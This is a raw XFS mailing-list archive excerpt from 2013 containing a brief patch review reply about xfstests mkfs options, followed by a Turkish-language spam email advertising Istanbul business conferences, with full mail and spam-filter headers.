bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378193634 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140197 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 Looks good, Reviewed-by: Christoph Hellwig From BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org Tue Sep 3 02:34:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4E5267F55 for ; Tue, 3 Sep 2013 02:34:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2FAD78F8049 for ; Tue, 3 Sep 2013 00:34:52 -0700 (PDT) X-ASG-Debug-ID: 1378193691-04cbb02c3bd01ae0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id VbNvC9ei1vx8yplN (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 00:34:51 -0700 (PDT) X-Barracuda-Envelope-From: BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGl8V-0000OJ-0G; Tue, 03 Sep 2013 07:34:51 +0000 Date: Tue, 3 Sep 2013 00:34:50 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] xfstests: Obey mkfs options for sized filesystems on XFS Message-ID: <20130903073450.GC1422@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfstests: Obey mkfs options for sized filesystems on XFS References: <1378167295-7566-1-git-send-email-david@fromorbit.com> <1378167295-7566-3-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378167295-7566-3-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378193691 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140197 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 10:14:54AM +1000, Dave Chinner wrote: > From: Dave Chinner > > The XFS implementation of _scratch_mkfs_sized ignores MKFS_OPTIONS > when a custom block size is set and so isn't testing things like > CRCs on such sized filesytsems. Fix this by ensuring we don't try to > override the block size is it is set in MKFS_OPTIONS. xfs/204 shows > this problem. > > Signed-off-by: Dave Chinner Looks good. Maybe someone more familar with the other mkfs tools should cross-check those as well. Reviewed-by: Christoph Hellwig From returns@c.ss11.gmsend.com Tue Sep 3 04:47:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=HTML_FONT_LOW_CONTRAST, HTML_FONT_SIZE_LARGE,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0D6637F54 for ; Tue, 3 Sep 2013 04:47:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E31A98F8049 for ; Tue, 3 Sep 2013 02:47:05 -0700 (PDT) X-ASG-Debug-ID: 1378201621-04cbb02c3ad05410001-NocioJ Received: from c.ss11.gmsend.com (c.ss11.gmsend.com [67.209.226.120]) by cuda.sgi.com with ESMTP id 5ERaszyG8wh8MXNB for ; Tue, 03 Sep 2013 02:47:01 -0700 (PDT) X-Barracuda-Envelope-From: returns@c.ss11.gmsend.com X-Barracuda-Apparent-Source-IP: 67.209.226.120 X-Barracuda-Registry: Level1 [c.ss11.gmsend.com/67.209.226.120] Received: by c.ss11.gmsend.com (Postfix, from userid 0) id 00DAA4DE2345D; Tue, 3 Sep 2013 11:46:58 +0200 (SAST) X-Barracuda-Registry: Level1 [c.ss11.gmsend.com/67.209.226.120] X-Barracuda-Registry: Level1 [c.ss11.gmsend.com/67.209.226.120] To: xfs@oss.sgi.com Subject: =?utf-8?B?U2F0xLFuYWxtYSB2ZSBTYXTEscWfIFByb2Zlc3lvbmVsbGVyaSBCdWx1xZ9t?= =?utf-8?B?YXPEsQ==?= Message-ID: <1378201618_SectionID-73788_HitID-1378189825888_SiteID-14938_EmailID-12945937_DB-26_SID-26@ss11.gmsend.com> X-ASG-Orig-Subj: =?utf-8?B?U2F0xLFuYWxtYSB2ZSBTYXTEscWfIFByb2Zlc3lvbmVsbGVyaSBCdWx1xZ9t?= =?utf-8?B?YXPEsQ==?= List-Unsubscribe: , X-Report-Abuse: Please report abuse for this campaign here: http://d.ss11.gmsend.com/reportabuse.aspx?stid=14938&hitid=1378189825888&sec=73788&email=xfs@oss.sgi.com&EmID=12945937&SID=26&token=4ef1234ba3eaf93710e0fdc372f136f4dcfe3715 DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=ss11.gmsend.com; i=@ss11.gmsend.com; q=dns/txt; s=gmmailerd; t=1378201613; h=From; bh=47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=; l=0; b=ZbJMLmt0ePsjpRrVFL4UqZJ7CYohZjttXTMaOXxiQw4e7J9Ml7eN+VwZemOSKIIyUJgJFnH1R3YuIzvRiCvzjhNN6ckEDcFqs1mhvKzl62I6qFN/It8FX9Vwq3la9WuSDRADB2mZUx52+atzjdVx98HSKumBFdYaQpZZOvamPU8= From: "Faruk Alemdar" Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="93dcb088e3808d9cbe123c553716e636" Date: Tue, 3 Sep 2013 11:46:59 +0200 (SAST) X-Barracuda-Connect: c.ss11.gmsend.com[67.209.226.120] X-Barracuda-Start-Time: 1378201621 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_FONT_SIZE_LARGE, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140204 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_FONT_SIZE_LARGE BODY: HTML font size is large 0.00 HTML_MESSAGE BODY: HTML included in message --93dcb088e3808d9cbe123c553716e636 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable =0ASATINALMA ve SATI=C5=9E=0APROFESYONELLER=C4=B0 BULU=C5=9EMASI=0A"Sat=C4= =B1nalma Bak=C4=B1=C5=9F=0AA=C3=A7=C4=B1s=C4=B1yla Sat=C4=B1=C5=9F - Sat=C4= =B1=C5=9F Bak=C4=B1=C5=9F=0AA=C3=A7=C4=B1s=C4=B1yla Sat=C4=B1nalma"=0A21 Ey= l=C3=BCl 2013 /=0A09.30-17.30=0AWyndham Istanbul Kalam=C4=B1=C5=9F Marina /= Fenerbah=C3=A7e=0AKonu=C5=9Fmac=C4=B1lar:=0A- Cenk C=C3=BCneyt=0ATA=C5=9E = // Allianz=0AGroup, Mondial=0AAssistance=0ATurkey Sat=C4=B1=C5=9F,=0APazar = ve=0A=C4=B0leti=C5=9Fim=0AY=C3=B6netimi=0ADirekt=C3=B6r=C3=BC =0A- Selda=0A= Y=C3=9CKSEKBA=C5=9E //=0ASat=C4=B1nalma=0AUzman=C4=B1,=0ASat=C4=B1nalma=0AD= ergisi Yazar=C4=B1=0A- A.Faruk =C5=9EENER=0A// Pazarlama=0ADan=C4=B1=C5=9Fm= an=C4=B1, Yazar=0A- Dr. Levent=0AS=C3=96NMEZ // Ko=C3=A7ak=0A=C4=B0la=C3=A7= Pazarlama=0Ave Sat=C4=B1=C5=9F=0ADirekt=C3=B6r=C3=BC=0A- Dr. Ayd=C4=B1n=0A= Mustafa ERMURAT=0A// =C3=9Clker=0APazarlama M=C3=BCd=C3=BCr=C3=BC=0A- Filiz= =C3=96ZEN //=0ADigiturk=0APazarlama ve=0A=C4=B0dari Hizmet=0AAl=C4=B1mlar= =C4=B1 Birim=0AY=C3=B6neticisi=0A- Hakan G=C3=9CNER //=0AY=C3=B6netim=0ADan= =C4=B1=C5=9Fman=C4=B1,=0AE=C4=9Fitmen=0A- H. =C3=87i=C4=9Fdem=0AYORGANCIO= =C4=9ELU //=0ATedarik=C3=A7i,=0ADenet=C3=A7i,=0AS=C3=B6zle=C5=9Fme=0A(Ticar= i) Risk &=0AKurumsal=0ADan=C4=B1=C5=9Fman=C4=B1,=0AE=C4=9Fitmen=0A- Ahmet T= EPEHAN=0A// Borusan=0AMannesmann Sat=C4=B1=C5=9F=0AProfesyoneli=0A- Lale RO= NA //=0AY=C3=B6netim=0ADan=C4=B1=C5=9Fman=C4=B1,=0AE=C4=9Fitmen, Yazar=0AGe= rek zorlu rekabet=0Ako=C5=9Fullar=C4=B1, gerekse=0Am=C3=BC=C5=9Fterinin=0Ab= ilin=C3=A7lenmesi sat=C4=B1=C5=9F=0Afonksiyonunun=0Ayeniden=0Atariflenmesin= i =C5=9Fart=0Ako=C5=9Ftu. Sat=C4=B1nalma ise=0Ageli=C5=9Fen teknoloji=0A=C3= =A7a=C4=9F=C4=B1yla birlikte=0Aevrim ya=C5=9Fad=C4=B1. Sadece=0Asatarken de= =C4=9Fil=0Asat=C4=B1nal=C4=B1rken=0Akazanmak gibi=0Ailkeler t=C3=BCredi.=0A= Bir=C3=A7ok i=C5=9Fletme=0Aba=C5=9Far=C4=B1 i=C3=A7in sat=C4=B1=C5=9F=0Aoda= kl=C4=B1 hedefler ve=0Aperformansa dayal=C4=B1=0Aekip y=C3=B6netimleri=0Auy= gulamaktad=C4=B1rlar.=0AG=C3=BCn=C3=BCm=C3=BCz d=C3=BCnyas=C4=B1nda=0Ade=C4= =9Fi=C5=9Fen ko=C5=9Fullar=C4=B1n=0Aetkisi ile =E2=80=9Cal=C4=B1rken=0Akaza= nma=E2=80=9Dn=C4=B1n da=0Ai=C5=9Fletmelerin kar=C4=B1n=C4=B1=0Aetkiledi=C4= =9Fini g=C3=B6ren=0Abaz=C4=B1 y=C3=B6neticiler=0Asat=C4=B1nalma=0Aparametre= lerini de=0Ahedeflerine=0Akoymaktad=C4=B1rlar. Kar=0Ave hedef=0Aparametrele= rini=0Ado=C4=9Fru optimize eden,=0Asat=C4=B1=C5=9F ve sat=C4=B1nalma=0Aplat= formlar=C4=B1n=C4=B1 ayn=C4=B1=0Ahedefe ko=C5=9Fturan,=0Aortak sinerji=0Aya= ratan i=C5=9Fletmeler=0Arekabet kulvar=C4=B1nda=0Aart=C4=B1k bir ad=C4=B1m = =C3=B6nde=0Aolacaklar....=0AProgram=C4=B1m=C4=B1zda=0ASat=C4=B1=C5=9F ve Sa= t=C4=B1nalma profesyonellerini bir araya getirerek=0Aprofesyonel sat=C4=B1= =C5=9F teknikleri ile stratejik sat=C4=B1nalma=0Akurallar=C4=B1n=C4=B1n p= =C3=BCf noktalar=C4=B1n=C4=B1 birlikte tart=C4=B1=C5=9Faca=C4=9F=C4=B1z. Sa= t=C4=B1nalma=0Abak=C4=B1=C5=9F=C4=B1yla sat=C4=B1=C5=9F=C4=B1, Sat=C4=B1=C5= =9F bak=C4=B1=C5=9F=C4=B1yla sat=C4=B1nalmay=C4=B1 g=C3=B6zlemleyece=C4=9Fi= z.=0AHer iki taraf=C4=B1n perspektifleriyle do=C4=9Fru g=C3=B6z=C3=BCken ya= nl=C4=B1=C5=9Flara,=0Ade=C4=9Fi=C5=9Fen trendlere, inovatif uygulamalara, p= ratik potansiyellere=0A=C5=9Fahit olaca=C4=9F=C4=B1z.=0ASat=C4=B1=C5=9F, Sa= t=C4=B1nalma, =C3=9Cretim ve Finans bir =C5=9Firketin ana fonksiyonel=0Asah= alar=C4=B1. De=C4=9Fer yaratmak ise her profesyonelin hedefi. Sat=C4=B1=C5= =9F=0A=C3=BCretti=C4=9Finiz =C3=BCr=C3=BCn ve/veya hizmetlerin m=C3=BC=C5= =9Fterilere sunumu demek.=0ABunun i=C3=A7in sat=C4=B1=C5=9F departman=C4=B1= n=C4=B1n elinde sat=C4=B1lacak mamul ve=0Ahizmetlerin bulunmas=C4=B1 gerekl= i. Bu ba=C4=9Flamda =C3=BCretimle sat=C4=B1=C5=9F=0Aaras=C4=B1ndaki ili=C5= =9Fkilerin ortaya =C3=A7=C4=B1kmas=C4=B1 ka=C3=A7=C4=B1n=C4=B1lmaz. =C3=9Cr= etim olmadan=0Asat=C4=B1=C5=9F olmaz. =C3=9Cretimi ger=C3=A7ekle=C5=9Ftireb= ilmek i=C3=A7in ise elde hammadde,=0Amalzeme ve par=C3=A7alar=C4=B1n bulunm= as=C4=B1 l=C3=BCzumludur. Bu ise bizi =C3=BCretimle=0Asat=C4=B1nalma depart= manlar=C4=B1n=C4=B1n ili=C5=9Fkilerine g=C3=B6t=C3=BCr=C3=BCr ki sat=C4=B1= =C5=9F ile=0Asat=C4=B1nalman=C4=B1n bir arada =C3=A7al=C4=B1=C5=9Fmas=C4=B1= n=C4=B1n gereklili=C4=9Fini g=C3=B6sterir. =0AYine son y=C4=B1llarda s=C4= =B1k=C3=A7a kullan=C4=B1lmaya ba=C5=9Flayan =E2=80=9CYal=C4=B1n =C3=9Cretim= =E2=80=93=0ALean Manufacturing=E2=80=9D =C3=A7er=C3=A7evesi dahilinde orta= ya =C3=A7=C4=B1kan Just in=0ATime kavram=C4=B1 hem sat=C4=B1=C5=9F hem sat= =C4=B1nalma departmanlar=C4=B1n=C4=B1 yak=C4=B1ndan=0Ailgilendirmeye ba=C5= =9Flam=C4=B1=C5=9Ft=C4=B1r. Art=C4=B1k her =C5=9Fey =C3=A7ok seri bir =C5= =9Fekilde=0Atam zaman=C4=B1nda ger=C3=A7ekle=C5=9Ftirilmek durumundad=C4=B1= r. Just in Time=E2=80=99=C4=B1n=0Auygulamalar=C4=B1n=C4=B1n bir neticesi ol= arak gerek hammadde malzeme ve=0Agerekse par=C3=A7a stoklar=C4=B1 ile mamul= stoklar=C4=B1nda b=C3=BCy=C3=BCk d=C3=BC=C5=9F=C3=BC=C5=9Fler=0Akaydedilme= kte ve neredeyse s=C4=B1f=C4=B1r stokla =C3=A7al=C4=B1=C5=9F=C4=B1lmaktad= =C4=B1r. Hem=0Asat=C4=B1nalma hem sat=C4=B1=C5=9F bu sisteme ayak uydurmak = durumundad=C4=B1r. Bu=0Aise sat=C4=B1=C5=9Fta ve sat=C4=B1nalmada i=C5=9F t= ariflerinin yeniden g=C3=B6zden=0Age=C3=A7irilmesini ve dizayn=C4=B1n=C4=B1= ortaya =C3=A7=C4=B1karmaktad=C4=B1r. =C3=9Cretimde=0Ahammadde ve malzemele= rin maliyeti yerine g=C3=B6re %70=E2=80=99ler=0Acivar=C4=B1ndad=C4=B1r. Dem= ek ki hammadde malzeme ve par=C3=A7alar=C4=B1n=0Asat=C4=B1nal=C4=B1nmas=C4= =B1 mamul maliyetlerini b=C3=BCy=C3=BCk =C3=B6l=C3=A7=C3=BCde etkilemektedi= r.=0ADolay=C4=B1s=C4=B1yla =E2=80=9CMaliyetleri D=C3=BC=C5=9F=C3=BCrme =E2= =80=93 Cost Reduction=E2=80=9D projelerinde=0Ailk ele al=C4=B1nacak fonksiy= onel sahalardan biridir. =0AT=C3=BCm bu geli=C5=9Fmeler Sat=C4=B1nalmac=C4= =B1larla Sat=C4=B1c=C4=B1lar=C4=B1n M=C3=BC=C5=9Ftereken =C4=B0lgi=0AAlanla= r=C4=B1na Giren Fonksiyonel Sahalar.=0AYine sat=C4=B1c=C4=B1 ve sat=C4=B1na= lmac=C4=B1lar=C4=B1n ayn=C4=B1 dili konu=C5=9Fmalar=C4=B1,=0Adinlediklerind= en kendilerince =C3=B6nemli olan Fiyat ve Talep=0Aunsurlar=C4=B1na yeni anl= amlar katmalar=C4=B1 ve birbirlerinin=0Aperformanslar=C4=B1n=C4=B1 geli=C5= =9Ftirmeleri modern y=C3=B6netimlerin=0Avazge=C3=A7ilmezleri aras=C4=B1nda= =E2=80=A6=0A=C4=B0nsanlar; sat=C4=B1c=C4=B1lar, m=C3=BC=C5=9Fteriler, insan= lar, =C3=A7ocuklar, evli=0A=C3=A7iftler gibi geni=C5=9F ve genel s=C4=B1n= =C4=B1fland=C4=B1rmalara t=C3=A2bi tutularak=0Amuamele g=C3=B6rmekten ho=C5= =9Flanmazlar. Belirli ve benzersiz =E2=80=9Cm=C3=BC=C5=9Fteri=E2=80=9D=0Ave= ya =E2=80=9C=C3=A7ocuk=E2=80=9D olarak alg=C4=B1lanmak isterler. =E2=80=9CB= =C3=BCt=C3=BCn m=C3=BC=C5=9Fteriler=0Aayn=C4=B1d=C4=B1r=E2=80=9D diye d=C3= =BC=C5=9F=C3=BCnen bir firma sahibi ifl=C3=A2s etmeye mahk=C3=BBmdur.=0A=E2= =80=9CB=C3=BCt=C3=BCn erkekler birbirine benzer=E2=80=9D diye d=C3=BC=C5=9F= =C3=BCnen bir kad=C4=B1n, b=C3=BCy=C3=BCk=0Abir ihtimalle =C3=B6mr=C3=BCn= =C3=BCn geri kalan=C4=B1n=C4=B1 yaln=C4=B1z ge=C3=A7irecektir. =0AHi=C3=A7 = bir zaman, insanlarla iyi ge=C3=A7inmeyi =C3=B6=C4=9Frenemezsiniz. =C3=87= =C3=BCnk=C3=BC=0A=E2=80=9Cinsanlar=E2=80=9D diye bir yarat=C4=B1k yoktur. = =C4=B0nsanlar soyut bir kavramd=C4=B1r=0Ave d=C3=BCnya tek tek bireylerle d= oludur. =C3=96=C4=9Frenmeniz gereken, =C5=9Fu veya=0Abu ki=C5=9Fi ile nas= =C4=B1l iyi ge=C3=A7inece=C4=9Finizdir. =C3=96nemli olan, tek tek bu=0Aki= =C5=9Filerle iyi ili=C5=9Fkiler i=C3=A7inde olabilmek ya da onlara nas=C4= =B1l=0Adavranman=C4=B1z gerekti=C4=9Fini bilmektir. Alt=C4=B1n kural=C4=B1 = hat=C4=B1rlay=C4=B1n:=0A=E2=80=9CSana nas=C4=B1l davranmalar=C4=B1n=C4=B1 i= stiyorsan, ba=C5=9Fkalar=C4=B1na =C3=B6yle davran.=E2=80=9D=0A=C3=87o=C4=9F= umuz bu mant=C4=B1kla b=C3=BCy=C3=BCd=C3=BCk. Ancak i=C5=9F ba=C5=9Fkalar= =C4=B1yla ili=C5=9Fkiler=0Akurmaya gelince, bu kural=C4=B1 =C5=9F=C3=B6yle = de=C4=9Fi=C5=9Ftirmeliyiz: =E2=80=9CBa=C5=9Fkalar=C4=B1na=0Asenden kendiler= ine davranman=C4=B1 istedikleri gibi davran.=E2=80=9D=0AHer g=C3=BCn bir=C3= =A7ok insanla kar=C5=9F=C4=B1la=C5=9F=C4=B1yoruz. Bunlar=C4=B1n farkl=C4=B1= =0Aki=C5=9Filikleri ve buna ba=C4=9Fl=C4=B1 olarak da farkl=C4=B1 ihtiya=C3= =A7 ve arzular=C4=B1=0Avard=C4=B1r. Programda de=C4=9Fi=C5=9Fik ki=C5=9Fili= klerin bir insan olarak baz=C4=B1=0A=C3=B6zelliklerinden, de=C4=9Fi=C5=9Fik= ki=C5=9Filikteki insanlar=C4=B1n m=C3=BC=C5=9Fteri ve=0Asat=C4=B1c=C4=B1 o= larak sergiledikleri baz=C4=B1 belirgin davran=C4=B1=C5=9Flar ve bu=0Akonud= a nas=C4=B1l davranmam=C4=B1z gerekti=C4=9Fi konusunda da bilgiler=0Apayla= =C5=9F=C4=B1lacakt=C4=B1r.=0AZirvemizde sat=C4=B1nalan ve satan profesyonel= ler, birbirlerini,=0A=C3=BCzerlerinde fiyat bask=C4=B1s=C4=B1 olmadan, bir = m=C3=BCzakere i=C3=A7erisine=0Agirmeden tan=C4=B1yacaklar ve ba=C5=9Far=C4= =B1l=C4=B1 organizasyonlar=C4=B1n=0Agerektirdiklerini te=C5=9Fhis edip kend= i s=C3=BCre=C3=A7lerine daha objektif ve=0Ab=C3=BCt=C3=BCnsel bir bak=C4=B1= =C5=9F a=C3=A7=C4=B1s=C4=B1yla neleri entegre edebileceklerine=0Akarar vere= ceklerdir.=0AE-FATURA ve=0AE-DEFTER=0AUYGULAMALARI Z=C4=B0RVES=C4=B0=0A"T= =C3=BCm Boyutlar=C4=B1yla Mevzuata=0AUyum S=C3=BCreci, Ya=C5=9Fanan=0AGeli= =C5=9Fmeler, Y=C3=BCk=C3=BCml=C3=BCl=C3=BCkler,=0AKar=C5=9F=C4=B1la=C5=9F= =C4=B1labilecek Sorun ve=0A=C3=87=C3=B6z=C3=BCm =C3=96nerileri ile Teknik,= =0AB=C3=BCrokratik, Vergi ve=0AHukuksal Kriterler"=0A21 Eyl=C3=BCl 2013 /= =0A09.30-17.30=0ALe Meridien Otel Etiler - =C4=B0stanbul=0AKonu=C5=9Fmac=C4= =B1lar:=0A- Ahmet=0ATOSUNO=C4=9ELU //=0A=C4=B0GDA=C5=9E Bilgi=0ASistemleri= =0AM=C3=BCd=C3=BCr=C3=BC, TBD=0A=C4=B0stanbul Ba=C5=9Fkan=C4=B1=0A- Dr. Ker= em=0AG=C3=9CNAY //=0AVODAFONE, Vergi=0AK=C4=B1demli M=C3=BCd=C3=BCr=C3=BC= =0A- Deniz TURAN //=0ABDO DENET, SMMM=0A- Levent KARADA=C4=9E=0A// E-D=C3= =B6n=C3=BC=C5=9F=C3=BCm=0AStrateji Uzman=C4=B1,=0AZirve=0AKoordinat=C3=B6r= =C3=BC,=0ATBD Y=C3=B6netim=0AKurulu =C3=9Cyesi=0A- Mehmet=0AYILDIRIM // BDO= =0ATURKEY, Ortak,=0AYMM=0A- Volkan =C5=9EAH=C4=B0N=0A// UYUMSOFT,=0AE-Fatur= a =C3=96zel=0AEntegrat=C3=B6r=0AY=C3=B6neticisi=0A- Zeynep BEYHAN=0A// T=C3= =9CRKKEP,=0AE-Fatura =C3=96zel=0AEntegrat=C3=B6r=0AY=C3=B6neticisi=0A- B=C3= =BClent =C5=9EA=C5=9ETI=0A// ING BANK,=0AUluslararas=C4=B1=0ANakit Y=C3=B6n= etimi=0AM=C3=BCd=C3=BCr=C3=BC=0A4. DEPO ve=0ADA=C4=9EITIM=0AMERKEZ=C4=B0 Y= =C3=96NET=C4=B0M=C4=B0 Z=C4=B0RVES=C4=B0=0A"Tedarik Zincirinde=0ADepo Y=C3= =B6netim Sistemleri,=0AUygulanabilir Teknolojiler=0Ave=0ABa=C5=9Far=C4=B1l= =C4=B1 K=C3=BCresel Modeller"=0A5 Ekim 2013 /=0A09.30-17.30=0ALe Meridien O= tel Etiler=E2=80=93 =C4=B0stanbul=0AKonu=C5=9Fmac=C4=B1lar:=0A- Atilla=0AY= =C4=B1ld=C4=B1ztekin //=0ALojistik Y=C3=B6netim=0ADan=C4=B1=C5=9Fman=C4=B1= =0A- Nebil Esen //=0AMECALUX T=C3=BCrkiye=0AGenel M=C3=BCd=C3=BCr=C3=BC=0A-= =C3=87a=C4=9Fda=C5=9F Y=C4=B1ld=C4=B1z=0A// LA Software=0AGroup Genel=0AM= =C3=BCd=C3=BCr Yard=C4=B1mc=C4=B1s=C4=B1=0A- Do=C3=A7. Dr. Alp=0A=C3=9Cst= =C3=BCndag //=0A=C4=B0stanbul Teknik=0A=C3=9Cniversitesi =0A- Dr. =C3=96mer= Faruk=0AG=C3=B6r=C3=A7=C3=BCn // Kadir=0AHas =C3=9Cniversitesi=0ALojistik = B=C3=B6l=C3=BCm=0ABa=C5=9Fkan=C4=B1=0A- =C4=B0brahim Bekta=C5=9F=0A// Netlo= g=0ALojistik Grubu=0AGenel M=C3=BCd=C3=BCr=0ASistem=0AGeli=C5=9Ftirme=0A- E= nver Burak=0AKor=C3=A7ak // TRSIM=0AM=C3=BChendislik=0ALtd.=C5=9Eti Kurucu= =0AOrta=C4=9F=C4=B1=0A- Oru=C3=A7 Kaya //=0AO2 Lojistik=0ABa=C5=9Fkan=C4=B1= =0A- =C3=96zg=C3=BCr G=C3=BCzey //=0ACHEP T=C3=BCrkiye=0AGenel M=C3=BCd=C3= =BCr=0AYard=C4=B1mc=C4=B1s=C4=B1=0A- Deniz Ozan=0A=C3=96zg=C3=B6ren // OGL= =C4=B0=0Ae Solution=0APlatformDirekt=C3=B6r=C3=BC=0A- Murat=0AG=C3=BCvent= =C3=BCrk //=0ASELCO Kurucu=0AOrta=C4=9F=C4=B1=0AKay=C4=B1t Bilgileri:=0AKat= =C4=B1l=C4=B1m i=C3=A7in kay=C4=B1t formu=0Adoldurulmas=C4=B1 ve banka=0Ama= kbuzu ile taraf=C4=B1m=C4=B1za=0Ag=C3=B6nderilmesi gerekmektedir.=0AProgram= lar=C4=B1m=C4=B1z=0Akontenjanlar=C4=B1m=C4=B1zla=0As=C4=B1n=C4=B1rl=C4=B1d= =C4=B1r=0A0 216 422 9595 / 0 555 422=0A9595=0ABosphorus Conferences=0AZirve= lerin her birinin=0Akat=C4=B1l=C4=B1m bedeli 750TL+KDV dir.=0A=C3=96=C4=9Fl= e yemekleri, ara=0Aikramlar, kokteyl, kongre=0A=C3=A7antalar=C4=B1, kitapla= r ve t=C3=BCm=0Ad=C3=B6k=C3=BCmantasyon =C3=BCcrete=0Adahildir. Programlar= =C4=B1m=C4=B1z=0Akontenjanlar=C4=B1m=C4=B1zla=0As=C4=B1n=C4=B1rl=C4=B1d=C4= =B1r, Kay=C4=B1t=0Ai=C5=9Flemlerini web sayfam=C4=B1zdan=0Aonline yapabilir= siniz,=0AKat=C4=B1l=C4=B1m bedelleri KDV hari=C3=A7=0Atutarlard=C4=B1r. Gru= p =C4=B0ndirim=0AOranlar=C4=B1: Ayn=C4=B1 Firmadan 3 =E2=80=93=0A6 Kat=C4= =B1l=C4=B1mda %5, Ayn=C4=B1=0AFirmadan 6 ve =C3=BCzeri=0Akat=C4=B1l=C4=B1md= a %10 oran=0Auygulanmaktad=C4=B1r. Toplu=0Akat=C4=B1l=C4=B1m ve sponsorluk= =0Aimkanlar=C4=B1ndan faydalanmak=0Ai=C3=A7in l=C3=BCtfen aray=C4=B1n=C4=B1= z. =0A-->=0A=0AMessage sent by: bo=C4=9Fazi=C3=A7i e=C4=9Fitim=0AAbonelikte= n =C3=A7=C4=B1kmak i=C3=A7in a=C5=9Fa=C4=9F=C4=B1daki linke t=C4=B1klay=C4= =B1n=0Ahttp://d.ss11.gmsend.com/RWCode/subscribe.asp?SID=3D26&SiteID=3D1493= 8&Email=3Dxfs@oss.sgi.com&HitID=3D1378189825888 --93dcb088e3808d9cbe123c553716e636 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=utf-8 =09
=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09SATINALMA ve SATIŞ
=09=09=09=09=09=09=09=09=09=09=09=09=09PROFESYONELLERİ BULUŞMASI<= /font>

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09

